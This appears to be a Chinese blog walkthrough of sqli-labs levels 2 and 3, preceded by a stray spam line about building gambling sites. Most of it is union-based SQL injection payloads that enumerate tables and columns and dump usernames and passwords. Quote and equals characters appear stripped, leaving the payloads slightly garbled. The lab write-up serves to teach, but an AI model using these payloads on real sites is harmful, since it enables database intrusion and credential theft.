中国最好的网站建设有哪些,怎样建设网赌网站,建设电影播放网站,有哪些网站可以找兼职做目录 前言 一、sqli靶场第二关 1.1 判断注入类型 1.2 判断数据表中的列数 1.3 使用union联合查询 1.4 使用group_concat()函数 1.5 爆出users表中的列名 1.6 爆出users表中的数据 二、sqli靶场第三关 2.1 判断注入类型 2.2 观察报错 2.3 判断数据表中的列数 2.4 使用union联合… 目录 前言 一、sqli靶场第二关 1.1 判断注入类型 1.2 判断数据表中的列数 1.3 使用union联合查询 1.4 使用group_concat()函数 1.5 爆出users表中的列名 1.6 爆出users表中的数据 二、sqli靶场第三关 2.1 判断注入类型 2.2 观察报错 2.3 判断数据表中的列数 2.4 使用union联合查询 2.5 使用group_concat()函数 2.6 爆出users表中的列名 2.7 爆出users表中的数据 嗨我是Filotimo__。很高兴与大家相识希望我的博客能对你有所帮助。 本文由Filotimo__✍️原创首发于CSDN。 如需转载请事先与我联系以获得授权⚠️。 欢迎大家给我点赞、收藏⭐️并在留言区与我互动这些都是我前进的动力 我的格言森林草木都有自己认为对的角度。 前言
sqli靶场第一关https://filotimo.blog.csdn.net/article/details/134626587?spm1001.2014.3001.5502 一、sqli靶场第二关
1.1 判断注入类型
输入?id1显示语法错误。 输入?id1显示语法错误。 输入?id1/1正常回显。 输入?id1/0爆出如下页面 证明存在数字型注入。
1.2 判断数据表中的列数 介绍一个方法二分法 其基本思想是将待查找的区间不断二分以缩小查找范围直到找到目标元素。 输入?id1 order by 10 --出现回显Unknown column 10 in order clause。
用一下二分法输入?id1 order by 5 --仍然回显Unknown column 10 in order clause。
继续输入?id1 order by 3 --正常回显。
输入?id1 order by 4 --回显Unknown column 10 in order clause。
说明列数为3。
1.3 使用union联合查询 联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列列的数据类型必须兼容。 输入?id0 union select 1,2,3--用来判断回显位其中的0是不存在的id值这是为了使后方语句union select 1,2,3能够执行页面如下 输入?id0 union select 1,2,database()--爆出数据库名 1.4 使用group_concat()函数 group_concat()函数是 MySQL 中的聚合函数用于将多行数据按照指定的分隔符连接为一个字符串。 构造
?id0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--
爆出了表名 1.5 爆出users表中的列名
构造
?id0 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers --
获得了users表中的列名 1.6 爆出users表中的数据
查看users表中所有的用户
?id0 union select 1,2,group_concat(username) from security.users -- 查看users表中所有的用户密码
?id0 union select 1,2,group_concat(password) from security.users -- 用concat_ws(:,A,B)函数拼接用户名和密码使其成对出现
?id0 union select 1,2,group_concat(concat_ws(:,username,password)) from security.users -- 二、sqli靶场第三关
2.1 判断注入类型
输入?id1显示语法错误。 输入?id1正常回显。 输入?id1/1正常回显。 输入?id1/0正常回显。
判断为字符型注入(初步判断为单引号闭合)。
2.2 观察报错
报错信息为1) LIMIT 0,1
进一步判断为)闭合
输入?id1) --正常回显。
2.3 判断数据表中的列数
输入?id1) order by 3 --正常回显。
输入?id1) order by 4 --显示超出。
用二分法与order by确定列数为3
2.4 使用union联合查询
输入?id0) union select 1,2,3--判断回显位页面如下 输入?id0) union select 1,2,database()--爆出数据库名 2.5 使用group_concat()函数
输入
?id0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--
爆出表名 2.6 爆出users表中的列名
输入
?id0) union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers --
获得了users表中的列名 2.7 爆出users表中的数据
查看users表中所有的用户
?id0) union select 1,2,group_concat(username) from security.users -- 查看users表中所有的用户密码
?id0) union select 1,2,group_concat(password) from security.users -- 用concat_ws(:,A,B)函数拼接用户名和密码使其成对出现
?id0) union select 1,2,group_concat(concat_ws(:,username,password)) from security.users --